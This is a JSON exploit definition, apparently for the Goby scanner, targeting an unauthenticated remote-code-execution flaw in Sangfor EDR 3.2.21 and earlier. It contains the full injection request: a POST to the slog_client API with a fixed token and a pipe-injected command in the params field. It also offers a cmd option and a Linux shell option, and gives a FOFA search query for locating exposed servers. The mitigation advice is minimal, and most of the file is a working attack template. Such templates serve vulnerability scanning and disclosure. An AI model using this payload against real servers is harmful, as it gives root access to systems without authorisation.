{
  "Name": "Sangfor EDR 3.2.21 Arbitrary code execution vulnerability",
  "Description": "Sangfor EDR is a set of terminal security solutions provided by Sangfor. The solution is composed of lightweight endpoint security software (Agent) and management platform (MGR). The system has an unauthorized RCE vulnerability in version 3.2.21 and before. Attackers can use this vulnerability to obtain server root privileges.",
  "Product": "深信服终端检测响应平台",
  "Homepage": "https://www.sangfor.com.cn/product/net-safe-mobile-security-edr.html",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "title=\"SANGFOR终端检测响应平台\"",
  "Level": "3",
  "Impact": "<p>深信服终端检测响应平台（EDR）是深信服公司提供的一套终端安全解决方案，方案由轻量级的端点安全软件（Agent）和管理平台（MGR）共同组成。该系统在3.2.21版本及之前存在未授权的RCE漏洞，攻击者可以凭借这个漏洞获取服务器root权限</p>",
  "Recommandation": "<p>1.目前厂商尚未发布该漏洞补丁，可多关注该产品官网关于此漏洞的信息:<a href=\"https://www.sangfor.com.cn/product/net-safe-mobile-security-edr.html\" rel=\"nofollow\">https://www.sangfor.com.cn/product/net-safe-mobile-security-edr.html</a></p><p>2.禁止公网访问该系统</p><p>3.对该web系统设置basic认证或者白名单访问机制</p>",
  "References": [
    "http://fofa.so"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "Name": "AttackType",
      "Type": "select",
      "Value": "cmd,goby_shell_linux"
    },
	{
      "Name": "cmd",
      "Type": "input",
	  "show": "AttackType=cmd",
      "Value": "whoami"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
		"set_variable": ["cmd|define|text|echo jfzsjfoijnqnjvgkdxnboiqnbgvmdi"],
        "data": "{\"params\":\"w=123\\\"'111'\\\"|{{{cmd}}}\"}",
        "data_type": "text",
        "follow_redirect": true,
        "method": "POST",
        "uri": "/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "jfzsjfoijnqnjvgkdxnboiqnbgvmdi",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": ["rce"],
  "CVEIDs": null,
  "CVSSScore": null,
  "AttackSurfaces": {
    "Application": ["SANGFOR-EDR"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}